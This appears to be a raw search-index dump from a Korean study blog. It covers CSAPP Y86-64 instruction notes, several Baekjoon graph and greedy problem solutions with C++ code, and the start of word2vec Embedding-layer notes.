4.1.5 Y86-64 Programs Y86-64는 x86-64와 달리 immediate 값을 이용한 연산이 안되기때문에, 레지스터에 로드하고 사용한다. \u0026ldquo;.\u0026ldquo;로 시작하는 word는 어셈블러에게 코드를 생성하는 주소를 조정하거나 데이터의 일부 단어를 삽입하도록 지시하는 어셈블러 지시이다. \u0026ldquo;.pos 0\u0026quot;은 어셈블러가 주소 0에서 시작하는 코드를 생성하기 시작해야 함을 나타낸다. 38\t# Stack starts here and grows to lower addresses 39\t.pos 0x200 40\tstack: 이와같이 스택주소를 지정해서 더 낮은주소로 확장되도록 설정할 수도 있다. 7\t# Array of 4 elements 8\t.align 8 9\tarray : 10\t.quad 0x000d000d000d 11\t.quad 0x00c000c000c0 12\t.quad 0x0b000b000b00 13\t.quad 0xa000a000a000 배열의 시작을 나타내며, 8바이트 정렬이 이루어져 있다. 이와 같이 Y86-64를 생성하기 위한 우리의 도구는 어셈블러이기에 우리는 컴파일러, 링커, 런타임 시스템 위임 등의 작업을 수행해야 한다. 4.1.6 Some Y86-64 Instruction details pushq 명령어는 스택포인터를 모두 8만큼 감소시키고 레지스터 값을 메모리에 저장한다. 그렇다면 pushq %rsp는? 1\t.text 2\t.globl pushtest 3\tpushtest: 4\tmovq\t%rsp, %rax\tCopy stack pointer 5\tpushq\t%rsp\tPush stack pointer 6\tPopd\t%rdx\tPop it back 7\tsubq %rdx, %rax\tReturn 0 or 4 8\tret x86-64에서, 위 코드는 언제나 0만을 반환한다. 이는 4만큼 땡기기 전의 기존 %rsp값을 push하는것을 의미한다. 1\t.text 2\t.globl poptest 3\tpoptest: 4\tmovq\t%rsp, %rdi\tSave stack pointer 5\tpushq\t$0xabcd\tPush test value 6\tpopq\t%rsp\tPop to stack pointer 7\tmovq\t%rsp, %rax\tSet popped value as return value 8\tmovq\t%rdi, %rsp\tRestore stack pointer 9\tret 해당 코드도 언제나 0xabcd만을 반환한다. 이는 또한 %rsp에 값을 넣고 %rsp를 움직임을 의미한다. ❔질문 ❓ 인코딩된 바이트에 따라 해석해서 간단한 연산만으로 복잡한 프로그램이 돌아간다는건 알겠는데, 그래서 프로세서가 실제로 바이너리 코드들을 어떻게 연산하는거지? 프로세서는 바이너리 코드를 해석하는게 아니라 실제로 바이너리 코드가 흐르는 길 자체를 물리적으로 열고 닫는다. 예를 들어 addq %rax, %rdx과 같은 인코딩이 들어오면, 제어 유닛에서 더하기를 담당하는 ALU를 키고, %rax과 %rdx의 통로를 열어서 결국 결과값에 해당하는 전압 패턴을 얻는다.\n🔗 참고 자료 ","date":"2026-01-29T00:00:00Z","permalink":"/posts/books/csapp/chapter-04-processor-architecture/260129_til_csapp-4.1-the-y86-64-instuction-set-architecture/","title":"CSAPP 4.1 The Y86-64 Instuction Set Architecture"},{"content":"📝 문제 정보 링크: 번역 문제 Farmer John은 소들의 방목 패턴을 더 잘 관리하기 위해 농장 전체에 일방통행 소 길들을 설치했습니다. 농장은 N개의 목초지로 구성되어 있으며, 편의상 1부터 N까지 번호가 매겨져 있고, 각 일방통행 소 길은 한 쌍의 목초지를 연결합니다. 예를 들어, 목초지 X에서 목초지 Y로 연결되는 길이 있다면, 소들은 X에서 Y로는 이동할 수 있지만 Y에서 X로는 이동할 수 없습니다.\n우리 모두가 알다시피, 소 Bessie는 가능한 한 많은 목초지에서 풀을 먹는 것을 좋아합니다. 그녀는 항상 하루의 시작에 목초지 1에서 출발하여 일련의 목초지들을 방문한 후, 하루가 끝날 때 목초지 1로 돌아옵니다. 그녀는 경로를 따라 방문하는 서로 다른 목초지의 수를 최대화하려고 합니다. 각 목초지에서 풀을 먹을 수 있기 때문입니다(한 목초지를 여러 번 방문하더라도, 그곳의 풀은 한 번만 먹습니다).\n상상할 수 있듯이, Bessie는 FJ의 길에 대한 일방통행 제한에 대해 특별히 만족하지 않습니다. 이는 그녀가 일일 경로에서 방문할 수 있는 서로 다른 목초지의 수를 줄일 가능성이 높기 때문입니다. 그녀는 규칙을 어기고 최대 한 개의 길을 반대 방향으로 따라가면 얼마나 많은 풀을 먹을 수 있을지 궁금합니다. 목초지 1에서 시작하여 목초지 1로 끝나는 경로를 따라 최대 한 개의 길을 반대 방향으로 따라갈 수 있을 때, 그녀가 방문할 수 있는 서로 다른 목초지의 최대 개수를 계산하세요. Bessie는 여정 중 최대 한 번만 뒤로 이동할 수 있습니다. 특히, 같은 길을 두 번 역방향으로 갈 수는 없습니다.\n입력 첫 번째 줄에는 N과 M이 주어지며, 목초지의 개수와 일방통행 길의 개수를 나타냅니다 (1 ≤ N, M ≤ 100,000).\n다음 M개의 줄에는 각각 일방통행 소 길이 설명됩니다. 각 줄에는 두 개의 서로 다른 목초지 번호 X와 Y가 포함되며, X에서 Y로 가는 소 길에 해당합니다. 같은 소 길이 두 번 이상 나타나지 않습니다.\n출력 목초지 1에서 시작하여 목초지 1로 끝나는 경로를 따라 Bessie가 방문할 수 있는 서로 다른 목초지의 최대 개수를 나타내는 한 줄을 출력합니다. 단, 경로를 따라 최대 한 개의 길을 반대 방향으로 따라갈 수 있습니다.\n🧐 관찰 및 접근 어떤 간선 하나를 뒤집은 간선 하나를 추가해서, 정점 1로 돌아올 수 있으면서 가장 많은 정점 들리기.. 어떤 간선이 한 SCC 안에 속한다면, 해당 간선은 뒤집을 필요가 없다. 우회경로가 있으니까 큰 의미가 없다. 그럼 이제 SCC끼리 묶어서 DAG로 생각하자. 예제 입력 1번의 그림은 다음과 같다. 빨간색 간선을 뒤집었고, 1 -\u0026gt; (2, 4, 7) -\u0026gt; 5 -\u0026gt; 3 -\u0026gt; 1로 돌아온다. 직관적으로 생각나는 풀이들은 이렇다. 풀이 1 어떤 간선 하나를 무시한다. (뒤집을 간선) 이때 해당 간선의 시점에서 시작해서 종점까지 오는 DAG DP를 진행해서 최댓값을 구한다. 정점 1을 지나야함에 유의한다. 아까 제외한 간선을 뒤집으면 회로를 만들 수 있다. 풀이 2 정점 1에서 DAG DP를 돌린다. 각 정점에서 간선을 한번만 뒤집어서 정점 1로 들어올 수 있는지 체크한다. 풀이 2에 가까운 맛일 것 같은데, 정점을 중복으로 세진 않을까? 라는 의문이 먼저 든다. 그런데, 그런 상황이면 SCC로 묶였을수도 있지 않을까? $1 \\to x_1 \\to x_2 \\to \\cdots \\to x_n$ 으로 가는 경로가 있었다고 생각해보자. 이때, 우리는 $x_1$로 돌아가는게 목표이므로, 어떤 간선 $x_k \\to x_n$을 뒤집기로 마음먹었다면 $x_k$에서 $x_1$로 가는 경로가 있어야한다. 이 때, 뒤집지 않은 그래프에서 $x_1 \\to x_k$가 가능했으므로, 그러한 간선이 있었다면 $x_1 \\to x_k$는 사이클이다!!! 따라서, 간선을 한번만 뒤집었을때 정점 1로 돌아올 수 있다면 그 경로에서 해당 정점은 세진적이 없다. 간선 1로 들어갈 수 있는 모든 정점들을 찾자. 이때의 최댓값은 기존의 DAG에서 모든 간선을 뒤집는 것으로 만들 수 있는 것 같다. 이후, 기존 그래프의 간선 $(u, v) \\in E$ 에 대해 $\\text{DP}[v] + \\text{DP2}[u]$ 의 최댓값이 답이다. 첫 사이클에서만 도는 경우는 잘 처리하면 되겠지 💻 풀이 코드 (C++): void solve(){ int N, M; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; DirectedGraph graph(N); rep(i, 0, M){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; u--; v--; graph.add_edge(u, v); } DirectedGraph dag = graph.getCompressedGraph(); // calc DP1 = start from node 1, max sum of vertex count int sz = dag.V; vector\u0026lt;int\u0026gt; indeg(sz, 0), val(sz, 0); rep(i, 0, N) val[graph.sccId[i]]++; rep(cur, 0, sz) for(auto \u0026amp;nxt: dag.links[cur]) indeg[nxt]++; vector\u0026lt;int\u0026gt; DP1(sz, -1e9), DP2(sz, -1e9); int start = graph.sccId[0]; DP1[start] = val[start]; queue\u0026lt;int\u0026gt; Q; rep(i, 0, sz) if(indeg[i] == 0) Q.push(i); while(!Q.empty()){ int cur = Q.front(); Q.pop(); for(auto \u0026amp;nxt: dag.links[cur]){ DP1[nxt] = max(DP1[nxt], DP1[cur] + val[nxt]); indeg[nxt]--; if(indeg[nxt] == 0) Q.push(nxt); } } // calc DP2 = on fliped graph, to node 1, max sum of vertex count DirectedGraph rev_dag(sz); rep(cur, 0, sz) for(auto \u0026amp;nxt: dag.links[cur]) rev_dag.add_edge(nxt, cur); rep(i, 0, sz) indeg[i] = 0; rep(cur, 0, sz) for(auto \u0026amp;nxt: rev_dag.links[cur]) indeg[nxt]++; rep(i, 0, sz) if(indeg[i] == 0) Q.push(i); DP2[start] = val[start]; while(!Q.empty()){ int cur = Q.front(); Q.pop(); for(auto \u0026amp;nxt: rev_dag.links[cur]){ DP2[nxt] = max(DP2[nxt], DP2[cur] + val[nxt]); indeg[nxt]--; if(indeg[nxt] == 0) Q.push(nxt); } } int ans = val[start]; rep(u, 0, N) for(auto \u0026amp;nxt: graph.links[u]){ int su = graph.sccId[u]; int sv = graph.sccId[nxt]; if(su == sv) continue; ans = max(ans, DP1[sv] + DP2[su] - val[start]); } cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-28T00:00:00Z","permalink":"/posts/algorithm/ps/260128_algorithm_boj-10671-grass-cownoisseur/","title":"BOJ 10671 Grass Cownoisseur"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/10891 🧐 관찰 및 접근 어떤 정점이 최대 한개의 사이클에만 속해있다면, 해당 그래프는 정점 선인장이다. $\\text{DP}[i]$ : 정점 $i$의 부모와 정점 $i$의 자식을 잇는 tree edge가 아닌 간선의 수라고 정의하자. 어떤 그래프가 정점 선인장일 필요충분조건은 $\\forall i$ 에 대해 $\\text{DP}[i] \\leq 1$인 것이다. 이는 DFS+누적합처럼 계산할 수 있다. 💻 풀이 코드 (C++): void dfs(int c, int p, int d){ depth[c] = d; par[c] = p; DP[c] = 0; for(auto n: links[c]){ if(n == p) continue; if(depth[n] == 0){ dfs(n, c, d+1); DP[c] += DP[n]; } else if(depth[n] \u0026lt; depth[c]) DP[c]++; else DP[par[c]]--; } } void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; rep(i, 0, M){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; links[u].push_back(v); links[v].push_back(u); } dfs(1, -1, 1); bool isCactus = true; rep(i, 1, N+1) if(DP[i] \u0026gt; 1) isCactus = false; if(isCactus) cout \u0026lt;\u0026lt; \u0026#34;Cactus\u0026#34;; else cout \u0026lt;\u0026lt; \u0026#34;Not cactus\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-28T00:00:00Z","permalink":"/posts/algorithm/ps/260128_algorithm_boj-10891-cactus-not-cactus/","title":"BOJ 10891 Cactus? Not cactus?"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/10891 🧐 관찰 및 접근 어떤 정점이 최대 한개의 사이클에만 속해있다면, 해당 그래프는 정점 선인장이다. $\\text{DP}[i]$ : 정점 $i$의 부모와 정점 $i$의 자식을 잇는 tree edge가 아닌 간선의 수라고 정의하자. 어떤 그래프가 정점 선인장일 필요충분조건은 $\\forall i$ 에 대해 $\\text{DP}[i] \\leq 1$인 것이다. 이는 DFS+누적합처럼 계산할 수 있다. 💻 풀이 코드 (C++): void dfs(int c, int p, int d){ depth[c] = d; par[c] = p; DP[c] = 0; for(auto n: links[c]){ if(n == p) continue; if(depth[n] == 0){ dfs(n, c, d+1); DP[c] += DP[n]; } else if(depth[n] \u0026lt; depth[c]) DP[c]++; else DP[par[c]]--; } } void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; rep(i, 0, M){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; links[u].push_back(v); links[v].push_back(u); } dfs(1, -1, 1); bool isCactus = true; rep(i, 1, N+1) if(DP[i] \u0026gt; 1) isCactus = false; if(isCactus) cout \u0026lt;\u0026lt; \u0026#34;Cactus\u0026#34;; else cout \u0026lt;\u0026lt; \u0026#34;Not cactus\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-28T00:00:00Z","permalink":"/posts/algorithm/ps/260128_algorithm_boj-10891-cactus_-not-cactus_/","title":"BOJ 10891 Cactus? Not cactus?"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/14675 🧐 관찰 및 접근 트리에서의 단절점과 단절선을 생각해보자. 트리에서 모든 간선은 단절선이다. 사이클 없는 연결 그래프니까 트리에서 리프노드를 제외한 모든 노드는 단절점이다. 위와 이유가 같다. 우회경로로 쓸 back edge가 없다. 💻 풀이 코드 (C++): void solve(){ cin \u0026gt;\u0026gt; N; rep(i, 0, N-1){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; links[u].push_back(v); links[v].push_back(u); } cin \u0026gt;\u0026gt; Q; while(Q--){ int t, k; cin \u0026gt;\u0026gt; t \u0026gt;\u0026gt; k; if(t == 1) cout \u0026lt;\u0026lt; ((int)links[k].size() == 1 ? \u0026#34;no\\n\u0026#34; : \u0026#34;yes\\n\u0026#34;); else cout \u0026lt;\u0026lt; \u0026#34;yes\\n\u0026#34;; } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-28T00:00:00Z","permalink":"/posts/algorithm/ps/260128_algorithm_boj-14675-%EB%8B%A8%EC%A0%88%EC%A0%90%EA%B3%BC-%EB%8B%A8%EC%A0%88%EC%84%A0/","title":"BOJ 14675 단절점과 단절선"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/14908 🧐 관찰 및 접근 직관적으로 생각해보자 어떤 작업의 보상금 $S_i$가 크다면, 빠르게 작업을 수행하는게 좋다. 어떤 작업을 완료하는데 걸리는 시간 $T_i$가 작다면, 빠르게 작업을 수행하는게 좋다. 이 두가지를 어떻게 동시에 활용할 수 있을까? 어떤 정답 $Opt$가 존재한다고 가정해보자. 이때, $Opt$의 순서중 가운데 두 작업 $W_i, W_{i+1}$을 바꾼다고 해보자. 이 때, 바뀐 순서 $Opt'$가 $Opt$보다 나을 수 있을까? 두 작업을 바꾸면, $Opt' = Opt + S_i * T_{i+1} - S_{i+1} * T_i$가 된다. 다시말해, $S_i * T_{i+1} - S_{i+1} * T_i$ 이 음수라면 더 나은 해법을 찾을 수 있다. 따라서 $S_i * T_{i+1} - S_{i+1} * T_i \u003e 0$인 방향, 즉 $\\frac{S_i}{T_i} \\geq \\frac{S_{i+1}}{T_{i+1}}$ 의 순서로 정렬하면 최적해가 된다. 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; vector\u0026lt;array\u0026lt;int, 3\u0026gt;\u0026gt; ans; // S, T, idx; rep(i, 0, N){ int S, T; cin \u0026gt;\u0026gt; S \u0026gt;\u0026gt; T; ans.push_back({T, S, i+1}); } sort(all(ans), [](const array\u0026lt;int, 3\u0026gt; \u0026amp;a, const array\u0026lt;int, 3\u0026gt; \u0026amp;b){ if(a[0]*b[1] == a[1]*b[0]) return a[2] \u0026lt; b[2]; return a[0]*b[1] \u0026gt; a[1]*b[0]; }); for(auto \u0026amp;p: ans) cout \u0026lt;\u0026lt; p[2] \u0026lt;\u0026lt; \u0026#39; \u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-28T00:00:00Z","permalink":"/posts/algorithm/ps/260128_algorithm_boj-14908-%EA%B5%AC%EB%91%90-%EC%88%98%EC%84%A0%EA%B3%B5/","title":"BOJ 14908 구두 수선공"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/16367\n번역\n문제 번역 Mr. Dajuda는 TV 쇼 프로그램으로 유명한 사람으로, 가끔 시청자들에게 흥미로운 게임을 제안하고 상품을 상으로 제공합니다. 이번 주에 그가 제안한 게임은 다음과 같이 설명할 수 있습니다.\n무대 위의 k개(k \u0026gt; 3)의 램프는 게임 시작 시 모두 꺼져 있습니다. 편의상 램프는 1부터 k까지 번호가 매겨져 있습니다. 각 램프는 빨간색 또는 파란색의 색상을 가지고 있습니다. 그러나 램프의 색상은 켜지기 전까지는 알 수 없습니다. 게임 참가자들은 무작위로 세 개의 램프를 선택하고 그 색상을 예측하도록 요청받습니다. 그런 다음 각 참가자는 선택한 램프의 예측된 색상이 기록된 종이를 게임 진행자인 Mr. Dajuda에게 제출합니다. 모든 램프가 켜지면 각 참가자는 자신이 예측한 색상 중 몇 개가 램프의 실제 색상과 일치하는지 확인합니다. 두 개 이상의 색상이 일치하면 상품을 받게 됩니다.\nMr. Dajuda는 오늘 특별한 선물을 준비했습니다. 게임 참가자들로부터 받은 모든 종이를 검토한 후, 가능하다면 모든 참가자가 상품을 받을 수 있도록 각 램프의 색상을 조정하려고 합니다.\n위에서 설명한 대로 예측된 색상에 대한 정보가 주어졌을 때, 모든 참가자가 상품을 받을 수 있도록 모든 램프의 색상을 조정할 수 있는지 판단하는 프로그램을 작성하세요.\n입력 프로그램은 표준 입력에서 읽습니다. 입력은 두 개의 정수 k와 n (3 \u0026lt; k ≤ 5,000, 1 ≤ n ≤ 10,000)을 포함하는 줄로 시작하며, 여기서 k는 램프의 개수이고 n은 게임 참가자의 수입니다. 다음 n개의 각 줄에는 세 쌍의 (l, c)가 포함되어 있으며, 여기서 l은 선택한 램프 번호이고 c는 파란색의 경우 B, 빨간색의 경우 R인 문자로, 해당 램프에 대해 예측한 색상을 나타냅니다. l과 c 사이에는 공백이 있고, 각 (l, c) 쌍은 아래 샘플에 표시된 것처럼 공백으로 구분됩니다.\n출력 프로그램은 표준 출력에 씁니다. 모든 참가자가 상품을 받을 수 있도록 모든 색상을 조정할 수 있다면, 한 줄에 k개의 문자를 출력합니다. i번째 문자는 파란색의 경우 B, 빨간색의 경우 R로 i번째 램프의 색상을 나타냅니다. 불가능하면 -1을 출력합니다. 답이 여러 개 있는 경우 그 중 아무거나 출력할 수 있습니다.\n🧐 관찰 및 접근 2-sat 맛인거같은데, 3개중에 2개 이상을 맞게 해야한다\u0026hellip; 다르게 말하면, $x1, x2, x3$ 3개가 있다고 할때 $$ \\begin{aligned} (\\neg x1 \\to x2 \\land \\neg x1 \\to x3) \\\\ \\lor \\ (\\neg x2 \\to x1 \\land \\neg x2 \\to x3) \\\\ \\lor \\ (\\neg x3 \\to x1 \\land \\neg x3 \\to x2) \\end{aligned} $$ 와 같다. 그런데 2-sat으로 모델링하려면 or블럭들 사이가 and블럭으로 이어져 있어야하는데 반대다.. 그런데, 3개중 2개가 참이어야 한다는 말은 어떤 두개를 골라도 모두 거짓일 수는 없다라는 말과 같다. 따라서 다음과 같이 훨씬 쉽게 모델링된다. $$(x_1 \\lor x_2) \\land (x_2 \\lor x_3) \\land (x_3 \\lor x_1)$$ 💻 풀이 코드 (C++): void solve(){ int N, M; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; DirectedGraph graph(2*N); rep(i, 0, M){ vector\u0026lt;int\u0026gt; args; rep(j, 0, 3){ int idx; cin \u0026gt;\u0026gt; idx; idx = (idx-1) * 2; char c; cin \u0026gt;\u0026gt; c; if(c == \u0026#39;B\u0026#39;) idx ^= 1; // R : 2k, B : 2k+1 args.push_back(idx); } rep(j, 0, 3) graph.add_2sat_edge(args[j], args[(j+1)%3]); } if(!graph.is2SAT()){ cout \u0026lt;\u0026lt; -1; return; } string ans = \u0026#34;\u0026#34;; rep(i, 0, N){ if(graph.sccId[2*i] \u0026lt; graph.sccId[2*i+1]) ans += \u0026#39;R\u0026#39;; else ans += \u0026#39;B\u0026#39;; } cout \u0026lt;\u0026lt; ans; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-28T00:00:00Z","permalink":"/posts/algorithm/ps/260128_algorithm_boj-16367-tv-show-game/","title":"BOJ 16367 TV Show Game"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/1761 🧐 관찰 및 접근 트리에서, 두 정점 사이의 경로는 유일하다. 해당 경로는 두 정점의 LCA를 지난다. 두 점 사이의 거리는 $d(u) + d(v) - 2*d(\\text{LCA}(u, v))$로 계산할 수 있다. 💻 풀이 코드 (C++): void dfs(int cur, int _par){ for(auto [nxt, w]: links[cur]){ if(nxt == _par) continue; dist[nxt] = dist[cur] + w; depth[nxt] = depth[cur] + 1; par[nxt][0] = cur; dfs(nxt, cur); } } int LCA(int u, int v){ if(u == v) return u; if(depth[u] \u0026lt; depth[v]) swap(u, v); int diff = depth[u] - depth[v]; rep(i, 0, 16) if((diff \u0026gt;\u0026gt; i) \u0026amp; 1) u = par[u][i]; if(u == v) return u; rrep(i, 16, 0){ if(par[u][i] != par[v][i]){ u = par[u][i]; v = par[v][i]; } } return par[u][0]; } ll getDist(int u, int v){ int lca = LCA(u, v); return dist[u] + dist[v] - 2 * dist[lca]; } void solve(){ cin \u0026gt;\u0026gt; N; rep(i, 0, N-1){ int u, v, w; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v \u0026gt;\u0026gt; w; links[u].push_back({v, w}); links[v].push_back({u, w}); } dfs(1, -1); rep(j, 1, 16) rep(i, 1, N+1) par[i][j] = par[par[i][j-1]][j-1]; cin \u0026gt;\u0026gt; Q; while(Q--){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; cout \u0026lt;\u0026lt; getDist(u, v) \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-28T00:00:00Z","permalink":"/posts/algorithm/ps/260128_algorithm_boj-1761-%EC%A0%95%EC%A0%90%EB%93%A4%EC%9D%98-%EA%B1%B0%EB%A6%AC/","title":"BOJ 1761 정점들의 거리"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/3176 🧐 관찰 및 접근 도로가 N-1개인걸 보니 트리겠구만 이때 경로상에서 가장 짧은 도로의 길이와 가장 긴 도로의 길이를 출력하라는데\u0026hellip; HLD를 써도 되지만, sparse table에서의 RMQ처리처럼 진행해도 큰 문제가 없겠다. 💻 풀이 코드 (C++): void solve(){ cin \u0026gt;\u0026gt; N; rep(i, 0, N-1){ int u, v, w; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v \u0026gt;\u0026gt; w; links[u].push_back({v, w}); links[v].push_back({u, w}); } dfs(1, -1, 0); rep(j, 1, 20) rep(i, 1, N+1) if(par[i][j-1]){ par[i][j] = par[par[i][j-1]][j-1]; mnDist[i][j] = min(mnDist[i][j-1], mnDist[par[i][j-1]][j-1]); mxDist[i][j] = max(mxDist[i][j-1], mxDist[par[i][j-1]][j-1]); } int Q; cin \u0026gt;\u0026gt; Q; while(Q--){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; auto [mn, mx] = calc(u, v); cout \u0026lt;\u0026lt; mn \u0026lt;\u0026lt; \u0026#39; \u0026#39; \u0026lt;\u0026lt; mx \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-28T00:00:00Z","permalink":"/posts/algorithm/ps/260128_algorithm_boj-3176-%EB%8F%84%EB%A1%9C-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC/","title":"BOJ 3176 도로 네트워크"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/3648 🧐 관찰 및 접근 모든 심사위원에 대해 (and) 각 심사위원별로 표 두개중 하나를 만족해야 한다. (or) 따라서 $(A \\lor B) \\land (C \\lor D) \\land \\cdots$ 의 2-sat 문제로 변환 가능하다! 모델링만 잘 해보자. 가능한 변수의 개수 $= 1000 *2 = 2000$ 에 대해 $i$ 번 참가자가 진출: $2*i$, 진출 실패: $2*i+1$로 모델링하자. 1번 참가자인 상근이는 무조건 통과해야 한다. $\\neg x \\to x$ 를 만족하면 되므로, $1 \\to 0$을 추가하자. 💻 풀이 코드 (C++): void solve(){ int N, M; while(cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M){ DirectedGraph dg(2*N); rep(i, 0, M){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; if(u \u0026gt; 0) u = 2*(u-1); else u = 2*(-u-1)+1; if(v \u0026gt; 0) v = 2*(v-1); else v = 2*(-v-1)+1; dg.add_2sat_edge(u, v); } dg.add_2sat_edge(0, 0); cout \u0026lt;\u0026lt; (dg.is2SAT() ? \u0026#34;yes\\n\u0026#34; : \u0026#34;no\\n\u0026#34;); } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-28T00:00:00Z","permalink":"/posts/algorithm/ps/260128_algorithm_boj-3648-%EC%95%84%EC%9D%B4%EB%8F%8C/","title":"BOJ 3648 아이돌"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/4013 🧐 관찰 및 접근 그래프가 DAG라면 위상정렬을 하면서 DP를 진행할 수 있을텐데.. 같은 정점을 여러번 들릴 수 있으므로, 어떤 정점이 사이클 안에 들어있다면 해당 사이클 내의 ATM을 모두 들릴 수 있다! 서로 자유롭게 이동 가능한 관계라면 모두 자유롭게 들릴 수 있으므로, 이를 SCC로 묶어 DAG로 만들자. 💻 풀이 코드 (C++): void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; DirectedGraph graph(N+1); rep(i, 0, M){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; graph.add_edge(u, v); } DirectedGraph dag = graph.getCompressedGraph(); int sz = dag.V; vector\u0026lt;int\u0026gt; val(sz), DP(sz, -1e9), indeg(sz, 0); rep(i, 1, N+1){ int X; cin \u0026gt;\u0026gt; X; val[graph.sccId[i]] += X; } int S, P; cin \u0026gt;\u0026gt; S \u0026gt;\u0026gt; P; S = graph.sccId[S]; DP[S] = val[S]; rep(u, 0, sz) for(auto \u0026amp;v: dag.links[u]) indeg[v]++; queue\u0026lt;int\u0026gt; Q; rep(i, 0, sz) if(indeg[i] == 0) Q.push(i); while(!Q.empty()){ int cur = Q.front(); Q.pop(); for(auto nxt: dag.links[cur]){ DP[nxt] = max(DP[nxt], DP[cur] + val[nxt]); indeg[nxt]--; if(indeg[nxt] == 0) Q.push(nxt); } } int ans = 0; rep(i, 0, P){ int X; cin \u0026gt;\u0026gt; X; X = graph.sccId[X]; ans = max(ans, DP[X]); } cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-28T00:00:00Z","permalink":"/posts/algorithm/ps/260128_algorithm_boj-4013-atm/","title":"BOJ 4013 ATM"},{"content":"📝 상세 정리 기존의 CBOW모델은 말뭉치에 포함된 어휘 수가 많아지면 계산량도 커진다는 단점이 있었다. 이를 Embedding 계층과 네거티브샘플링이라는 새로운 손힐함수를 이용하여 개선할 것이다. 4.1 word2vec 개선 1 기존의 CBOW모델에서 어휘가 100만개가 된다고 가정해보자. 그렇다면 입력층은 $W_{in} = 1000000 * 100, W_{out} = 100 * 1000000$의 행렬이 된다. 심지어 원핫 벡터라 상당히 sparse한데.. 이를 Embedding 계층 도입으로 해결해보자. $W_{in}$은 Embedding으로, $W_{out}$은 네거티브 샘플링으로 해결할 것이다. 4.1.1 Embedding 계층 다시한번 어휘 수가 100만개인 상황을 상상해보자. 단어의 원핫벡터는 100만차원.. 그런데, 이 연산이 무엇을 의미하는걸까? 이는 그저 행렬의 특정 행을 추출하는 것뿐이다! 다시말해, 원핫표현으로의 변환가 행렬 곱연산은 사실 큰 필요가 없다. 가중치 매개변수로부터 단어 ID에 해당하는 행을 추출하기만 하면 된다. 해당 계층을 만들어보자. 이를 Embedding 계층이라고 하고, 단어 임베딩이라는 용어에서 유래했다. Embedding 계층에 단어의 분산 표현을 저장할 것이다. 